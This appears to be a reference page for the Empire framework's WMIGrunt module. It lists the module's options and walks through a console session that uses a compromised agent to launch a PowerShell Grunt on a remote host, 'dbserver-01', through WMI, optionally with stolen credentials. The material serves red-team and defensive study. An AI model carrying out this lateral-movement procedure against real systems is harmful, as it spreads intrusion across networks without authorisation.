WMIGrunt - Empire Module


This page contains detailed information about how to use the csharp/SharpSploit.LateralMovement/WMIGrunt Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: WMIGrunt
Module: csharp/SharpSploit.LateralMovement/WMIGrunt
Source code: empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml#L1
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The WMIGrunt module executes a Grunt Launcher on a remote system using Win32_Process Create, optionally with alternate credentials.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the WMIGrunt module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the WMIGrunt module:

Agent
Agent to run module on.

ComputerName
ComputerName to launch the Grunt on.
Default value: localhost.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

Launcher
Grunt Launcher to execute on the remote system.
Default value: PowerShell.

Additional Module Options


This is a list of additional options that are supported by the WMIGrunt module:

Password
Password to authenticate the user. (optional).

Username
Username to authenticate as. Format: DOMAIN\Username (optional).

WMIGrunt Example Usage


Here's an example of how to use the WMIGrunt module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.LateralMovement/WMIGrunt

 Author       cobbr_io                                                        
 Background   False                                                           
 Description  Execute a Grunt Launcher on a remote system using Win32_Process 
              Create, optionally with alternate credentials.                  
 Language     csharp                                                          
 Name         csharp/SharpSploit.LateralMovement/WMIGrunt                     
 NeedsAdmin   False                                                           
 OpsecSafe    False                                                           


,Record Options-,------------,----------,------------------------------------,
| Name          | Value      | Required | Description                        |
|---------------|------------|----------|------------------------------------|
| Agent         |            | True     | Agent to run module on.            |
|---------------|------------|----------|------------------------------------|
| ComputerName  | localhost  | True     | ComputerName to launch the Grunt   |
|               |            |          | on.                                |
|---------------|------------|----------|------------------------------------|
| DotNetVersion | Net35      | True     | .NET version to compile against    |
|---------------|------------|----------|------------------------------------|
| Launcher      | PowerShell | True     | Grunt Launcher to execute on the   |
|               |            |          | remote system.                     |
|---------------|------------|----------|------------------------------------|
| Password      |            | False    | Password to authenticate the user. |
|               |            |          | (optional)                         |
|---------------|------------|----------|------------------------------------|
| Username      |            | False    | Username to authenticate as.       |
|               |            |          | Format: DOMAIN\Username (optional) |
'---------------'------------'----------'------------------------------------'

(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMIGrunt) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMIGrunt) > set ComputerName dbserver-01
[*] Set ComputerName to dbserver-01
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMIGrunt) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMIGrunt) > set Launcher PowerShell
[*] Set Launcher to PowerShell
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMIGrunt) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMIGrunt) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.LateralMovement/WMIGrunt) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author


  • cobbr_io

References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.